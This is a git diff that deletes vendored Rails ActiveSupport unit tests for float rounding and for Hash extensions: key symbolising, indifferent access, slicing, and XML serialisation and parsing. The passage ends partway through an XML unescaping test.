diff --git a/vendor/rails/activesupport/test/core_ext/float_ext_test.rb b/vendor/rails/activesupport/test/core_ext/float_ext_test.rb
deleted file mode 100644
index d19b5ecf..00000000
--- a/vendor/rails/activesupport/test/core_ext/float_ext_test.rb
+++ /dev/null
@@ -1,25 +0,0 @@
-require 'abstract_unit'
-
-class FloatExtRoundingTests < Test::Unit::TestCase
-  def test_round_for_positive_number
-    assert_equal 1,    1.4.round
-    assert_equal 2,    1.6.round
-    assert_equal 2,    1.6.round(0)
-    assert_equal 1.4,  1.4.round(1)
-    assert_equal 1.4,  1.4.round(3)
-    assert_equal 1.5,  1.45.round(1)
-    assert_equal 1.45, 1.445.round(2)
-  end
-
-  def test_round_for_negative_number
-    assert_equal( -1,   -1.4.round )
-    assert_equal( -2,   -1.6.round )
-    assert_equal( -1.4, -1.4.round(1) )
-    assert_equal( -1.5, -1.45.round(1) )
-  end
-
-  def test_round_with_negative_precision
-    assert_equal 123460.0, 123456.0.round(-1)
-    assert_equal 123500.0, 123456.0.round(-2)
-  end
-end
diff --git a/vendor/rails/activesupport/test/core_ext/hash_ext_test.rb b/vendor/rails/activesupport/test/core_ext/hash_ext_test.rb
deleted file mode 100644
index 44308c38..00000000
--- a/vendor/rails/activesupport/test/core_ext/hash_ext_test.rb
+++ /dev/null
@@ -1,1016 +0,0 @@
-require 'abstract_unit'
-require 'builder'
-
-class HashExtTest < Test::Unit::TestCase
-  def setup
-    @strings = { 'a' => 1, 'b' => 2 }
-    @symbols = { :a  => 1, :b  => 2 }
-    @mixed   = { :a  => 1, 'b' => 2 }
-    @fixnums = {  0  => 1,  1  => 2 }
-    if RUBY_VERSION < '1.9.0'
-      @illegal_symbols = { "\0" => 1, "" => 2, [] => 3 }
-    else
-      @illegal_symbols = { [] => 3 }
-    end
-  end
-
-  def test_methods
-    h = {}
-    assert_respond_to h, :symbolize_keys
-    assert_respond_to h, :symbolize_keys!
-    assert_respond_to h, :stringify_keys
-    assert_respond_to h, :stringify_keys!
-    assert_respond_to h, :to_options
-    assert_respond_to h, :to_options!
-  end
-
-  def test_symbolize_keys
-    assert_equal @symbols, @symbols.symbolize_keys
-    assert_equal @symbols, @strings.symbolize_keys
-    assert_equal @symbols, @mixed.symbolize_keys
-  end
-
-  def test_symbolize_keys!
-    assert_equal @symbols, @symbols.dup.symbolize_keys!
-    assert_equal @symbols, @strings.dup.symbolize_keys!
-    assert_equal @symbols, @mixed.dup.symbolize_keys!
-  end
-
-  def test_symbolize_keys_preserves_keys_that_cant_be_symbolized
-    assert_equal @illegal_symbols, @illegal_symbols.symbolize_keys
-    assert_equal @illegal_symbols, @illegal_symbols.dup.symbolize_keys!
-  end
-
-  def test_symbolize_keys_preserves_fixnum_keys
-    assert_equal @fixnums, @fixnums.symbolize_keys
-    assert_equal @fixnums, @fixnums.dup.symbolize_keys!
-  end
-
-  def test_stringify_keys
-    assert_equal @strings, @symbols.stringify_keys
-    assert_equal @strings, @strings.stringify_keys
-    assert_equal @strings, @mixed.stringify_keys
-  end
-
-  def test_stringify_keys!
-    assert_equal @strings, @symbols.dup.stringify_keys!
-    assert_equal @strings, @strings.dup.stringify_keys!
-    assert_equal @strings, @mixed.dup.stringify_keys!
-  end
-
-  def test_indifferent_assorted
-    @strings = @strings.with_indifferent_access
-    @symbols = @symbols.with_indifferent_access
-    @mixed   = @mixed.with_indifferent_access
-
-    assert_equal 'a', @strings.__send__(:convert_key, :a)
-
-    assert_equal 1, @strings.fetch('a')
-    assert_equal 1, @strings.fetch(:a.to_s)
-    assert_equal 1, @strings.fetch(:a)
-
-    hashes = { :@strings => @strings, :@symbols => @symbols, :@mixed => @mixed }
-    method_map = { :'[]' => 1, :fetch => 1, :values_at => [1],
-      :has_key? => true, :include? => true, :key? => true,
-      :member? => true }
-
-    hashes.each do |name, hash|
-      method_map.sort_by { |m| m.to_s }.each do |meth, expected|
-        assert_equal(expected, hash.__send__(meth, 'a'),
-                     "Calling #{name}.#{meth} 'a'")
-        assert_equal(expected, hash.__send__(meth, :a),
-                     "Calling #{name}.#{meth} :a")
-      end
-    end
-
-    assert_equal [1, 2], @strings.values_at('a', 'b')
-    assert_equal [1, 2], @strings.values_at(:a, :b)
-    assert_equal [1, 2], @symbols.values_at('a', 'b')
-    assert_equal [1, 2], @symbols.values_at(:a, :b)
-    assert_equal [1, 2], @mixed.values_at('a', 'b')
-    assert_equal [1, 2], @mixed.values_at(:a, :b)
-  end
-
-  def test_indifferent_reading
-    hash = HashWithIndifferentAccess.new
-    hash["a"] = 1
-    hash["b"] = true
-    hash["c"] = false
-    hash["d"] = nil
-
-    assert_equal 1, hash[:a]
-    assert_equal true, hash[:b]
-    assert_equal false, hash[:c]
-    assert_equal nil, hash[:d]
-    assert_equal nil, hash[:e]
-  end
-
-  def test_indifferent_reading_with_nonnil_default
-    hash = HashWithIndifferentAccess.new(1)
-    hash["a"] = 1
-    hash["b"] = true
-    hash["c"] = false
-    hash["d"] = nil
-
-    assert_equal 1, hash[:a]
-    assert_equal true, hash[:b]
-    assert_equal false, hash[:c]
-    assert_equal nil, hash[:d]
-    assert_equal 1, hash[:e]
-  end
-
-  def test_indifferent_writing
-    hash = HashWithIndifferentAccess.new
-    hash[:a] = 1
-    hash['b'] = 2
-    hash[3] = 3
-
-    assert_equal hash['a'], 1
-    assert_equal hash['b'], 2
-    assert_equal hash[:a], 1
-    assert_equal hash[:b], 2
-    assert_equal hash[3], 3
-  end
-
-  def test_indifferent_update
-    hash = HashWithIndifferentAccess.new
-    hash[:a] = 'a'
-    hash['b'] = 'b'
-
-    updated_with_strings = hash.update(@strings)
-    updated_with_symbols = hash.update(@symbols)
-    updated_with_mixed = hash.update(@mixed)
-
-    assert_equal updated_with_strings[:a], 1
-    assert_equal updated_with_strings['a'], 1
-    assert_equal updated_with_strings['b'], 2
-
-    assert_equal updated_with_symbols[:a], 1
-    assert_equal updated_with_symbols['b'], 2
-    assert_equal updated_with_symbols[:b], 2
-
-    assert_equal updated_with_mixed[:a], 1
-    assert_equal updated_with_mixed['b'], 2
-
-    assert [updated_with_strings, updated_with_symbols, updated_with_mixed].all? { |h| h.keys.size == 2 }
-  end
-
-  def test_indifferent_merging
-    hash = HashWithIndifferentAccess.new
-    hash[:a] = 'failure'
-    hash['b'] = 'failure'
-
-    other = { 'a' => 1, :b => 2 }
-
-    merged = hash.merge(other)
-
-    assert_equal HashWithIndifferentAccess, merged.class
-    assert_equal 1, merged[:a]
-    assert_equal 2, merged['b']
-
-    hash.update(other)
-
-    assert_equal 1, hash[:a]
-    assert_equal 2, hash['b']
-  end
-
-  def test_indifferent_reverse_merging
-    hash = HashWithIndifferentAccess.new('some' => 'value', 'other' => 'value')
-    hash.reverse_merge!(:some => 'noclobber', :another => 'clobber')
-    assert_equal 'value', hash[:some]
-    assert_equal 'clobber', hash[:another]
-  end
-
-  def test_indifferent_deleting
-    get_hash = proc{ { :a => 'foo' }.with_indifferent_access }
-    hash = get_hash.call
-    assert_equal hash.delete(:a), 'foo'
-    assert_equal hash.delete(:a), nil
-    hash = get_hash.call
-    assert_equal hash.delete('a'), 'foo'
-    assert_equal hash.delete('a'), nil
-  end
-
-  def test_indifferent_to_hash
-    # Should convert to a Hash with String keys.
-    assert_equal @strings, @mixed.with_indifferent_access.to_hash
-
-    # Should preserve the default value.
-    mixed_with_default = @mixed.dup
-    mixed_with_default.default = '1234'
-    roundtrip = mixed_with_default.with_indifferent_access.to_hash
-    assert_equal @strings, roundtrip
-    assert_equal '1234', roundtrip.default
-  end
-
-  def test_indifferent_hash_with_array_of_hashes
-    hash = { "urls" => { "url" => [ { "address" => "1" }, { "address" => "2" } ] }}.with_indifferent_access
-    assert_equal "1", hash[:urls][:url].first[:address]
-  end
-
-  def test_stringify_and_symbolize_keys_on_indifferent_preserves_hash
-    h = HashWithIndifferentAccess.new
-    h[:first] = 1
-    h.stringify_keys!
-    assert_equal 1, h['first']
-    h = HashWithIndifferentAccess.new
-    h['first'] = 1
-    h.symbolize_keys!
-    assert_equal 1, h[:first]
-  end
-
-  def test_to_options_on_indifferent_preserves_hash
-    h = HashWithIndifferentAccess.new
-    h['first'] = 1
-    h.to_options!
-    assert_equal 1, h['first']
-  end
-
-
-  def test_indifferent_subhashes
-    h = {'user' => {'id' => 5}}.with_indifferent_access
-    ['user', :user].each {|user| [:id, 'id'].each {|id| assert_equal 5, h[user][id], "h[#{user.inspect}][#{id.inspect}] should be 5"}}
-
-    h = {:user => {:id => 5}}.with_indifferent_access
-    ['user', :user].each {|user| [:id, 'id'].each {|id| assert_equal 5, h[user][id], "h[#{user.inspect}][#{id.inspect}] should be 5"}}
-  end
-
-  def test_assert_valid_keys
-    assert_nothing_raised do
-      { :failure => "stuff", :funny => "business" }.assert_valid_keys([ :failure, :funny ])
-      { :failure => "stuff", :funny => "business" }.assert_valid_keys(:failure, :funny)
-    end
-
-    assert_raise(ArgumentError, "Unknown key(s): failore") do
-      { :failore => "stuff", :funny => "business" }.assert_valid_keys([ :failure, :funny ])
-      { :failore => "stuff", :funny => "business" }.assert_valid_keys(:failure, :funny)
-    end
-  end
-
-  def test_assorted_keys_not_stringified
-    original = {Object.new => 2, 1 => 2, [] => true}
-    indiff = original.with_indifferent_access
-    assert(!indiff.keys.any? {|k| k.kind_of? String}, "A key was converted to a string!")
-  end
-
-  def test_deep_merge
-    hash_1 = { :a => "a", :b => "b", :c => { :c1 => "c1", :c2 => "c2", :c3 => { :d1 => "d1" } } }
-    hash_2 = { :a => 1, :c => { :c1 => 2, :c3 => { :d2 => "d2" } } }
-    expected = { :a => 1, :b => "b", :c => { :c1 => 2, :c2 => "c2", :c3 => { :d1 => "d1", :d2 => "d2" } } }
-    assert_equal expected, hash_1.deep_merge(hash_2)
-
-    hash_1.deep_merge!(hash_2)
-    assert_equal expected, hash_1
-  end
-
-  def test_reverse_merge
-    defaults = { :a => "x", :b => "y", :c => 10 }.freeze
-    options  = { :a => 1, :b => 2 }
-    expected = { :a => 1, :b => 2, :c => 10 }
-
-    # Should merge defaults into options, creating a new hash.
-    assert_equal expected, options.reverse_merge(defaults)
-    assert_not_equal expected, options
-
-    # Should merge! defaults into options, replacing options.
-    merged = options.dup
-    assert_equal expected, merged.reverse_merge!(defaults)
-    assert_equal expected, merged
-
-    # Should be an alias for reverse_merge!
-    merged = options.dup
-    assert_equal expected, merged.reverse_update(defaults)
-    assert_equal expected, merged
-  end
-
-  def test_diff
-    assert_equal({ :a => 2 }, { :a => 2, :b => 5 }.diff({ :a => 1, :b => 5 }))
-  end
-
-  def test_slice
-    original = { :a => 'x', :b => 'y', :c => 10 }
-    expected = { :a => 'x', :b => 'y' }
-
-    # Should return a new hash with only the given keys.
-    assert_equal expected, original.slice(:a, :b)
-    assert_not_equal expected, original
-  end
-
-  def test_slice_inplace
-    original = { :a => 'x', :b => 'y', :c => 10 }
-    expected = { :c => 10 }
-
-    # Should replace the hash with only the given keys.
-    assert_equal expected, original.slice!(:a, :b)
-  end
-
-  def test_slice_with_an_array_key
-    original = { :a => 'x', :b => 'y', :c => 10, [:a, :b] => "an array key" }
-    expected = { [:a, :b] => "an array key", :c => 10 }
-
-    # Should return a new hash with only the given keys when given an array key.
-    assert_equal expected, original.slice([:a, :b], :c)
-    assert_not_equal expected, original
-  end
-
-  def test_slice_inplace_with_an_array_key
-    original = { :a => 'x', :b => 'y', :c => 10, [:a, :b] => "an array key" }
-    expected = { :a => 'x', :b => 'y' }
-
-    # Should replace the hash with only the given keys when given an array key.
-    assert_equal expected, original.slice!([:a, :b], :c)
-  end
-
-  def test_slice_with_splatted_keys
-    original = { :a => 'x', :b => 'y', :c => 10, [:a, :b] => "an array key" }
-    expected = { :a => 'x', :b => "y" }
-
-    # Should grab each of the splatted keys.
-    assert_equal expected, original.slice(*[:a, :b])
-  end
-
-  def test_indifferent_slice
-    original = { :a => 'x', :b => 'y', :c => 10 }.with_indifferent_access
-    expected = { :a => 'x', :b => 'y' }.with_indifferent_access
-
-    [['a', 'b'], [:a, :b]].each do |keys|
-      # Should return a new hash with only the given keys.
-      assert_equal expected, original.slice(*keys), keys.inspect
-      assert_not_equal expected, original
-    end
-  end
-
-  def test_indifferent_slice_inplace
-    original = { :a => 'x', :b => 'y', :c => 10 }.with_indifferent_access
-    expected = { :c => 10 }.with_indifferent_access
-
-    [['a', 'b'], [:a, :b]].each do |keys|
-      # Should replace the hash with only the given keys.
-      copy = original.dup
-      assert_equal expected, copy.slice!(*keys)
-    end
-  end
-
-  def test_indifferent_slice_access_with_symbols
-    original = {'login' => 'bender', 'password' => 'shiny', 'stuff' => 'foo'}
-    original = original.with_indifferent_access
-
-    slice = original.slice(:login, :password)
-
-    assert_equal 'bender', slice[:login]
-    assert_equal 'bender', slice['login']
-  end
-
-  def test_except
-    original = { :a => 'x', :b => 'y', :c => 10 }
-    expected = { :a => 'x', :b => 'y' }
-
-    # Should return a new hash with only the given keys.
-    assert_equal expected, original.except(:c)
-    assert_not_equal expected, original
-
-    # Should replace the hash with only the given keys.
-    assert_equal expected, original.except!(:c)
-    assert_equal expected, original
-  end
-
-  def test_except_with_original_frozen
-    original = { :a => 'x', :b => 'y' }
-    original.freeze
-    assert_nothing_raised { original.except(:a) }
-  end
-
-  def test_except_with_mocha_expectation_on_original
-    original = { :a => 'x', :b => 'y' }
-    original.expects(:delete).never
-    original.except(:a)
-  end
-end
-
-class IWriteMyOwnXML
-  def to_xml(options = {})
-    options[:indent] ||= 2
-    xml = options[:builder] ||= Builder::XmlMarkup.new(:indent => options[:indent])
-    xml.instruct! unless options[:skip_instruct]
-    xml.level_one do
-      xml.tag!(:second_level, 'content')
-    end
-  end
-end
-
-class HashToXmlTest < Test::Unit::TestCase
-  def setup
-    @xml_options = { :root => :person, :skip_instruct => true, :indent => 0 }
-  end
-
- def test_default_values_for_rename_keys
-   assert_equal true,ActiveSupport.dasherize_xml
-   assert_equal false,ActiveSupport.camelize_xml
-  end
-
-  def test_one_level
-    xml = { :name => "David", :street => "Paulina" }.to_xml(@xml_options)
-    assert_equal "<person>", xml.first(8)
-    assert xml.include?(%(<street>Paulina</street>))
-    assert xml.include?(%(<name>David</name>))
-  end
-  # we add :camelize => false because otherwise we'd be accidentally testing the default value for :camelize
-  def test_one_level_dasherize_false
-    xml = { :name => "David", :street_name => "Paulina" }.to_xml(@xml_options.merge(:dasherize => false,:camelize=>false))
-    assert_equal "<person>", xml.first(8)
-    assert xml.include?(%(<street_name>Paulina</street_name>))
-    assert xml.include?(%(<name>David</name>))
-  end
-
-  def test_one_level_dasherize_true
-    xml = { :name => "David", :street_name => "Paulina" }.to_xml(@xml_options.merge(:dasherize => true,:camelize=>false))
-    assert_equal "<person>", xml.first(8)
-    assert xml.include?(%(<street-name>Paulina</street-name>))
-    assert xml.include?(%(<name>David</name>))
-  end
-
-  def test_one_level_dasherize_default_false
-    current_default = ActiveSupport.dasherize_xml
-    ActiveSupport.dasherize_xml = false
-    xml = { :name => "David", :street_name => "Paulina" }.to_xml(@xml_options.merge(:camelize=>false))
-    assert_equal "<person>", xml.first(8)
-    assert xml.include?(%(<street_name>Paulina</street_name>))
-    assert xml.include?(%(<name>David</name>))
-    ensure
-    ActiveSupport.dasherize_xml = current_default
-  end
-
-  def test_one_level_dasherize_default_true
-    current_default = ActiveSupport.dasherize_xml
-    ActiveSupport.dasherize_xml = true
-    xml = { :name => "David", :street_name => "Paulina" }.to_xml(@xml_options.merge(:camelize=>false))
-    assert_equal "<person>", xml.first(8)
-    assert xml.include?(%(<street-name>Paulina</street-name>))
-    assert xml.include?(%(<name>David</name>))
-    ensure
-    ActiveSupport.dasherize_xml = current_default
-  end
-
-  def test_one_level_camelize_true
-    xml = { :name => "David", :street_name => "Paulina" }.to_xml(@xml_options.merge(:camelize => true,:dasherize => false))
-    assert_equal "<Person>", xml.first(8)
-    assert xml.include?(%(<StreetName>Paulina</StreetName>))
-    assert xml.include?(%(<Name>David</Name>))
-  end
-
-  #camelize=>false is already tested above
-
-  def test_one_level_camelize_default_false
-    current_default = ActiveSupport.camelize_xml
-    ActiveSupport.camelize_xml = false
-    xml = { :name => "David", :street_name => "Paulina" }.to_xml(@xml_options.merge(:dasherize => false))
-    assert_equal "<person>", xml.first(8)
-    assert xml.include?(%(<street_name>Paulina</street_name>))
-    assert xml.include?(%(<name>David</name>))
-    ensure
-    ActiveSupport.camelize_xml = current_default
-  end
-
-  def test_one_level_camelize_default_true
-    current_default = ActiveSupport.camelize_xml
-    ActiveSupport.camelize_xml = true
-    xml = { :name => "David", :street_name => "Paulina" }.to_xml(@xml_options.merge(:dasherize => false))
-    assert_equal "<Person>", xml.first(8)
-    assert xml.include?(%(<StreetName>Paulina</StreetName>))
-    assert xml.include?(%(<Name>David</Name>))
-    ensure
-    ActiveSupport.camelize_xml = current_default
-  end
-
-  def test_one_level_camelize_true_dasherize_true
-    xml = { :name => "David", :street_name => "Paulina" }.to_xml(@xml_options.merge(:dasherize => true,:camelize=>true))
-    assert_equal "<Person>", xml.first(8)
-    assert xml.include?(%(<StreetName>Paulina</StreetName>))
-    assert xml.include?(%(<Name>David</Name>))
-  end
-
-  def test_one_level_with_types
-    xml = { :name => "David", :street => "Paulina", :age => 26, :age_in_millis => 820497600000, :moved_on => Date.new(2005, 11, 15), :resident => :yes }.to_xml(@xml_options)
-    assert_equal "<person>", xml.first(8)
-    assert xml.include?(%(<street>Paulina</street>))
-    assert xml.include?(%(<name>David</name>))
-    assert xml.include?(%(<age type="integer">26</age>))
-    assert xml.include?(%(<age-in-millis type="integer">820497600000</age-in-millis>))
-    assert xml.include?(%(<moved-on type="date">2005-11-15</moved-on>))
-    assert xml.include?(%(<resident type="symbol">yes</resident>))
-  end
-
-  def test_one_level_with_nils
-    xml = { :name => "David", :street => "Paulina", :age => nil }.to_xml(@xml_options)
-    assert_equal "<person>", xml.first(8)
-    assert xml.include?(%(<street>Paulina</street>))
-    assert xml.include?(%(<name>David</name>))
-    assert xml.include?(%(<age nil="true"></age>))
-  end
-
-  def test_one_level_with_skipping_types
-    xml = { :name => "David", :street => "Paulina", :age => nil }.to_xml(@xml_options.merge(:skip_types => true))
-    assert_equal "<person>", xml.first(8)
-    assert xml.include?(%(<street>Paulina</street>))
-    assert xml.include?(%(<name>David</name>))
-    assert xml.include?(%(<age nil="true"></age>))
-  end
-
-  def test_one_level_with_yielding
-    xml = { :name => "David", :street => "Paulina" }.to_xml(@xml_options) do |x|
-      x.creator("Rails")
-    end
-
-    assert_equal "<person>", xml.first(8)
-    assert xml.include?(%(<street>Paulina</street>))
-    assert xml.include?(%(<name>David</name>))
-    assert xml.include?(%(<creator>Rails</creator>))
-  end
-
-  def test_two_levels
-    xml = { :name => "David", :address => { :street => "Paulina" } }.to_xml(@xml_options)
-    assert_equal "<person>", xml.first(8)
-    assert xml.include?(%(<address><street>Paulina</street></address>))
-    assert xml.include?(%(<name>David</name>))
-  end
-
-  def test_two_levels_with_second_level_overriding_to_xml
-    xml = { :name => "David", :address => { :street => "Paulina" }, :child => IWriteMyOwnXML.new }.to_xml(@xml_options)
-    assert_equal "<person>", xml.first(8)
-    assert xml.include?(%(<address><street>Paulina</street></address>))
-    assert xml.include?(%(<level_one><second_level>content</second_level></level_one>))
-  end
-
-  def test_two_levels_with_array
-    xml = { :name => "David", :addresses => [{ :street => "Paulina" }, { :street => "Evergreen" }] }.to_xml(@xml_options)
-    assert_equal "<person>", xml.first(8)
-    assert xml.include?(%(<addresses type="array"><address>))
-    assert xml.include?(%(<address><street>Paulina</street></address>))
-    assert xml.include?(%(<address><street>Evergreen</street></address>))
-    assert xml.include?(%(<name>David</name>))
-  end
-
-  def test_three_levels_with_array
-    xml = { :name => "David", :addresses => [{ :streets => [ { :name => "Paulina" }, { :name => "Paulina" } ] } ] }.to_xml(@xml_options)
-    assert xml.include?(%(<addresses type="array"><address><streets type="array"><street><name>))
-  end
-
-  def test_timezoned_attributes
-    xml = {
-      :created_at => Time.utc(1999,2,2),
-      :local_created_at => Time.utc(1999,2,2).in_time_zone('Eastern Time (US & Canada)')
-    }.to_xml(@xml_options)
-    assert_match %r{<created-at type=\"datetime\">1999-02-02T00:00:00Z</created-at>}, xml
-    assert_match %r{<local-created-at type=\"datetime\">1999-02-01T19:00:00-05:00</local-created-at>}, xml
-  end
-
-  def test_single_record_from_xml
-    topic_xml = <<-EOT
-      <topic>
-        <title>The First Topic</title>
-        <author-name>David</author-name>
-        <id type="integer">1</id>
-        <approved type="boolean"> true </approved>
-        <replies-count type="integer">0</replies-count>
-        <replies-close-in type="integer">2592000000</replies-close-in>
-        <written-on type="date">2003-07-16</written-on>
-        <viewed-at type="datetime">2003-07-16T09:28:00+0000</viewed-at>
-        <content type="yaml">--- \n1: should be an integer\n:message: Have a nice day\narray: \n- should-have-dashes: true\n  should_have_underscores: true\n</content>
-        <author-email-address>david@loudthinking.com</author-email-address>
-        <parent-id></parent-id>
-        <ad-revenue type="decimal">1.5</ad-revenue>
-        <optimum-viewing-angle type="float">135</optimum-viewing-angle>
-        <resident type="symbol">yes</resident>
-      </topic>
-    EOT
-
-    expected_topic_hash = {
-      :title => "The First Topic",
-      :author_name => "David",
-      :id => 1,
-      :approved => true,
-      :replies_count => 0,
-      :replies_close_in => 2592000000,
-      :written_on => Date.new(2003, 7, 16),
-      :viewed_at => Time.utc(2003, 7, 16, 9, 28),
-      :content => { :message => "Have a nice day", 1 => "should be an integer", "array" => [{ "should-have-dashes" => true, "should_have_underscores" => true }] },
-      :author_email_address => "david@loudthinking.com",
-      :parent_id => nil,
-      :ad_revenue => BigDecimal("1.50"),
-      :optimum_viewing_angle => 135.0,
-      :resident => :yes
-    }.stringify_keys
-
-    assert_equal expected_topic_hash, Hash.from_xml(topic_xml)["topic"]
-  end
-
-  def test_single_record_from_xml_with_nil_values
-    topic_xml = <<-EOT
-      <topic>
-        <title></title>
-        <id type="integer"></id>
-        <approved type="boolean"></approved>
-        <written-on type="date"></written-on>
-        <viewed-at type="datetime"></viewed-at>
-        <content type="yaml"></content>
-        <parent-id></parent-id>
-      </topic>
-    EOT
-
-    expected_topic_hash = {
-      :title      => nil, 
-      :id         => nil,
-      :approved   => nil,
-      :written_on => nil,
-      :viewed_at  => nil,
-      :content    => nil, 
-      :parent_id  => nil
-    }.stringify_keys
-
-    assert_equal expected_topic_hash, Hash.from_xml(topic_xml)["topic"]
-  end
-
-  def test_multiple_records_from_xml
-    topics_xml = <<-EOT
-      <topics type="array">
-        <topic>
-          <title>The First Topic</title>
-          <author-name>David</author-name>
-          <id type="integer">1</id>
-          <approved type="boolean">false</approved>
-          <replies-count type="integer">0</replies-count>
-          <replies-close-in type="integer">2592000000</replies-close-in>
-          <written-on type="date">2003-07-16</written-on>
-          <viewed-at type="datetime">2003-07-16T09:28:00+0000</viewed-at>
-          <content>Have a nice day</content>
-          <author-email-address>david@loudthinking.com</author-email-address>
-          <parent-id nil="true"></parent-id>
-        </topic>
-        <topic>
-          <title>The Second Topic</title>
-          <author-name>Jason</author-name>
-          <id type="integer">1</id>
-          <approved type="boolean">false</approved>
-          <replies-count type="integer">0</replies-count>
-          <replies-close-in type="integer">2592000000</replies-close-in>
-          <written-on type="date">2003-07-16</written-on>
-          <viewed-at type="datetime">2003-07-16T09:28:00+0000</viewed-at>
-          <content>Have a nice day</content>
-          <author-email-address>david@loudthinking.com</author-email-address>
-          <parent-id></parent-id>
-        </topic>
-      </topics>
-    EOT
-
-    expected_topic_hash = {
-      :title => "The First Topic",
-      :author_name => "David",
-      :id => 1,
-      :approved => false,
-      :replies_count => 0,
-      :replies_close_in => 2592000000,
-      :written_on => Date.new(2003, 7, 16),
-      :viewed_at => Time.utc(2003, 7, 16, 9, 28),
-      :content => "Have a nice day",
-      :author_email_address => "david@loudthinking.com",
-      :parent_id => nil
-    }.stringify_keys
-
-    assert_equal expected_topic_hash, Hash.from_xml(topics_xml)["topics"].first
-  end
-
-  def test_single_record_from_xml_with_attributes_other_than_type
-    topic_xml = <<-EOT
-    <rsp stat="ok">
-      <photos page="1" pages="1" perpage="100" total="16">
-        <photo id="175756086" owner="55569174@N00" secret="0279bf37a1" server="76" title="Colored Pencil PhotoBooth Fun" ispublic="1" isfriend="0" isfamily="0"/>
-      </photos>
-    </rsp>
-    EOT
-
-    expected_topic_hash = {
-      :id => "175756086",
-      :owner => "55569174@N00",
-      :secret => "0279bf37a1",
-      :server => "76",
-      :title => "Colored Pencil PhotoBooth Fun",
-      :ispublic => "1",
-      :isfriend => "0",
-      :isfamily => "0",
-    }.stringify_keys
-
-    assert_equal expected_topic_hash, Hash.from_xml(topic_xml)["rsp"]["photos"]["photo"]
-  end
-  
-  def test_empty_array_from_xml
-    blog_xml = <<-XML
-      <blog>
-        <posts type="array"></posts>
-      </blog>
-    XML
-    expected_blog_hash = {"blog" => {"posts" => []}}
-    assert_equal expected_blog_hash, Hash.from_xml(blog_xml)
-  end
-
-  def test_all_caps_key_from_xml
-    test_xml = <<-EOT
-      <ABC3XYZ>
-        <TEST>Lorem Ipsum</TEST>
-      </ABC3XYZ>
-    EOT
-
-    expected_hash = {
-      "ABC3XYZ" => {
-        "TEST" => "Lorem Ipsum"
-      }
-    }
-
-    assert_equal expected_hash, Hash.from_xml(test_xml)
-  end
-
-  def test_empty_array_with_whitespace_from_xml
-    blog_xml = <<-XML
-      <blog>
-        <posts type="array">
-        </posts>
-      </blog>
-    XML
-    expected_blog_hash = {"blog" => {"posts" => []}}
-    assert_equal expected_blog_hash, Hash.from_xml(blog_xml)
-  end
-
-  def test_array_with_one_entry_from_xml
-    blog_xml = <<-XML
-      <blog>
-        <posts type="array">
-          <post>a post</post>
-        </posts>
-      </blog>
-    XML
-    expected_blog_hash = {"blog" => {"posts" => ["a post"]}}
-    assert_equal expected_blog_hash, Hash.from_xml(blog_xml)
-  end
-
-  def test_array_with_multiple_entries_from_xml
-    blog_xml = <<-XML
-      <blog>
-        <posts type="array">
-          <post>a post</post>
-          <post>another post</post>
-        </posts>
-      </blog>
-    XML
-    expected_blog_hash = {"blog" => {"posts" => ["a post", "another post"]}}
-    assert_equal expected_blog_hash, Hash.from_xml(blog_xml)
-  end
-
-  def test_file_from_xml
-    blog_xml = <<-XML
-      <blog>
-        <logo type="file" name="logo.png" content_type="image/png">
-        </logo>
-      </blog>
-    XML
-    hash = Hash.from_xml(blog_xml)
-    assert hash.has_key?('blog')
-    assert hash['blog'].has_key?('logo')
-
-    file = hash['blog']['logo']
-    assert_equal 'logo.png', file.original_filename
-    assert_equal 'image/png', file.content_type
-  end
-
-  def test_file_from_xml_with_defaults
-    blog_xml = <<-XML
-      <blog>
-        <logo type="file">
-        </logo>
-      </blog>
-    XML
-    file = Hash.from_xml(blog_xml)['blog']['logo']
-    assert_equal 'untitled', file.original_filename
-    assert_equal 'application/octet-stream', file.content_type
-  end
-
-  def test_xsd_like_types_from_xml
-    bacon_xml = <<-EOT
-    <bacon>
-      <weight type="double">0.5</weight>
-      <price type="decimal">12.50</price>
-      <chunky type="boolean"> 1 </chunky>
-      <expires-at type="dateTime">2007-12-25T12:34:56+0000</expires-at>
-      <notes type="string"></notes>
-      <illustration type="base64Binary">YmFiZS5wbmc=</illustration>
-    </bacon>
-    EOT
-
-    expected_bacon_hash = {
-      :weight => 0.5,
-      :chunky => true,
-      :price => BigDecimal("12.50"),
-      :expires_at => Time.utc(2007,12,25,12,34,56),
-      :notes => "",
-      :illustration => "babe.png"
-    }.stringify_keys
-
-    assert_equal expected_bacon_hash, Hash.from_xml(bacon_xml)["bacon"]
-  end
-  
-  def test_type_trickles_through_when_unknown
-    product_xml = <<-EOT
-    <product>
-      <weight type="double">0.5</weight>
-      <image type="ProductImage"><filename>image.gif</filename></image>
-      
-    </product>
-    EOT
-
-    expected_product_hash = {
-      :weight => 0.5,
-      :image => {'type' => 'ProductImage', 'filename' => 'image.gif' },
-    }.stringify_keys
-
-    assert_equal expected_product_hash, Hash.from_xml(product_xml)["product"]    
-  end
-
-  def test_should_use_default_value_for_unknown_key
-    hash_wia = HashWithIndifferentAccess.new(3)
-    assert_equal 3, hash_wia[:new_key]
-  end
-
-  def test_should_use_default_value_if_no_key_is_supplied
-    hash_wia = HashWithIndifferentAccess.new(3)
-    assert_equal 3, hash_wia.default
-  end
-
-  def test_should_nil_if_no_default_value_is_supplied
-    hash_wia = HashWithIndifferentAccess.new
-    assert_nil hash_wia.default
-  end
-
-  def test_should_copy_the_default_value_when_converting_to_hash_with_indifferent_access
-    hash = Hash.new(3)
-    hash_wia = hash.with_indifferent_access
-    assert_equal 3, hash_wia.default
-  end
-
-  # The XML builder seems to fail miserably when trying to tag something
-  # with the same name as a Kernel method (throw, test, loop, select ...)
-  def test_kernel_method_names_to_xml
-    hash     = { :throw => { :ball => 'red' } }
-    expected = '<person><throw><ball>red</ball></throw></person>'
-
-    assert_nothing_raised do
-      assert_equal expected, hash.to_xml(@xml_options)
-    end
-  end
-  
-  def test_empty_string_works_for_typecast_xml_value    
-    assert_nothing_raised do
-      Hash.__send__(:typecast_xml_value, "")
-    end
-  end
-  
-  def test_escaping_to_xml
-    hash = { 
-      :bare_string        => 'First & Last Name', 
-      :pre_escaped_string => 'First &amp; Last Name'
-    }.stringify_keys
-    
-    expected_xml = '<person><bare-string>First &amp; Last Name</bare-string><pre-escaped-string>First &amp;amp; Last Name</pre-escaped-string></person>'
-    assert_equal expected_xml, hash.to_xml(@xml_options)
-  end
-  
-  def test_unescaping_from_xml
-    xml_string = '<person><bare-string>First &amp; Last Name</bare-string><pre-escaped-string>First &amp;amp; Last Name</pre-escaped-string></person>'
-    expected_hash = { 
-      :bare_string        => 'First & Last Name', 
-      :pre_escaped_string => 'First &amp; Last Name'
-    }.stringify_keys
